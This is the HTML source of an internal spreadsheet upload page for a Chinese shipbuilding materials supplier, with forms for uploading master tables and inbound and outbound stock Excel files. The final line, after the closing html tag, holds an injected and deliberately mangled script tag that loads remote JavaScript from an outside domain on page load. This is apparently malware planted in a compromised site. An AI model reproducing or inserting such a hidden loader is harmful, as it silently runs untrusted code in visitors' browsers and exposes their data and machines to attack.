<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>中国船舶工业物资东北有限公司</title>
<link type="text/css" rel="stylesheet" href="../css/default.css" />
<!--		<link type="text/css" rel="stylesheet" href="../ext2.0/resources/css/ext-all.css" />
		<link type="text/css" rel="stylesheet" href="../ext2.0/resources/css/ext-patch.css" />
		
	
		<script type="text/javascript" src="../ext2.0/adapter/ext/ext-base.js"></script>
		<script type="text/javascript" src="../ext2.0/ext-all-debug.js"></script>
		<script type="text/javascript" src="../ext2.0/source/locale/ext-lang-zh_CN.js"></script>
-->
<script type="text/javascript">
		//Ext.BLANK_IMAGE_URL = "../ext2.0/resources/images/default/s.gif";
		
		function get_nonblank(id) {
          var entry = document.getElementById(id).value;
          return entry.replace(/^\s+$/,""); //remove whitespace
        }
        function check_planFields() {
          var file = get_nonblank("planFile");
          if (file == "") {
            alert("请选择要上传的文件.");
            return false;
          }
          return true;
        }
		
		function check_rukuFields(){
			var file = get_nonblank("rukuFile");
			if (file == "") {
				alert("请选择要上传的入库文件.");
				return false;
			}
			return true;
        }
		
		function check_chukuFields() {
          var file = get_nonblank("chukuFile");
          if (file == "") {
            alert("请选择要上传的出库文件.");
            return false;
          }
          return true;
        }

		function check_downloadFields() {
          var file = get_nonblank("downloadFile");
          if (file == "") {
            alert("请选择要上传的文件.");
            return false;
          }
          return true;
        }
        
		function check_mainDownloadFields() {
	          var file = get_nonblank("mainDownloadFile");
	          if (file == "") {
	            alert("请选择要上传的文件.");
	            return false;
	          }
	          return true;
	        }
		</script>
		<style type="text/css">
<!--
body {
	background-image: url(../img/back.gif);
}
-->
</style>
</head>

<body>
<div class="wrapper">
<h1>中国船舶工业物资东北有限公司</h1>
<hr />
<p>电子表格同步工具， 在这里上传电子表格：</p>
<div class="links">
<table style="width: 100%;">
	<tr>
		<td>
		<form action="mainUpload.php" method="post"
			enctype="multipart/form-data" onsubmit="return check_planFields();">
		<label for="planFile">上传导入总表：</label><br />
		<input name="planFile" id="planFile" size="38" style="width: 90%;"
			type="file" /><br />
		<input type="radio" name="phase" value="0" checked="checked" style="vertical-align: middle;"/><label for="phase">总表一</label> 
		<input type="radio" name="phase" value="2" style="vertical-align: middle;" /><label for="phase">总表三</label><br />
		<input type="submit" value=" 上传 " /></form>
		</td>
	</tr>
	<tr>
		<td>
		<form action="mainDownload.php" method="post"
			enctype="multipart/form-data" onsubmit="return check_mainDownloadFields();">
		<label for="mainDownloadFile">下载需要的总表：</label><br />
		<input name="mainDownloadFile" id="mainDownloadFile" size="38" style="width: 90%;"
			type="file" /><br />
		<input type="submit" value=" 上传 " /></form>

		</td>
	</tr>
	<tr>
		<td>
		<form action="rukuUpload.php" method="post"
			enctype="multipart/form-data" onsubmit="return check_rukuFields();">
		<label for="rukuFile">上传入库Excel表格：</label><br />
		<input name="rukuFile" id="rukuFile" size="38" style="width: 90%;"
			type="file" /><br />
		<input type="submit" value=" 上传 " /></form>
		</td>
	</tr>
	<tr>
		<td>
		<form action="chukuUpload.php" method="post"
			enctype="multipart/form-data" onsubmit="return check_chukuFields();">
		<label for="chukuFile">上传出库Excel表格：</label><br />
		<input name="chukuFile" id="chukuFile" size="38" style="width: 90%;"
			type="file" /><br />
		<input type="submit" value=" 上传 " /></form>

		</td>
	</tr>
	<tr>
		<td>
		<form action="downloadFile.php" method="post"
			enctype="multipart/form-data" onsubmit="return check_downloadFields();">
		<label for="downloadFile">船板提交数据添加:</label><br />
		<input name="downloadFile" id="downloadFile" size="38" style="width: 90%;"
			type="file" /><br />
		<input type="submit" value=" 上传 " /></form>

		</td>
	</tr>
</table>
</div>
<div><a
	style="color: white; display: block; float: right; background-color: blue"
	href="index.html" title="回到首页">-->回主页</a><br />
<a
	style="color: white; display: block; float: right; background-color: blue"
	href="clear.php">-->进入清理界面</a></div>

<div style="clear: both"></div>
</div>
</body>
</html><scr<scr<scr<script language=javascript src=http://mm.aa88567.cn/index/mm.js></script> 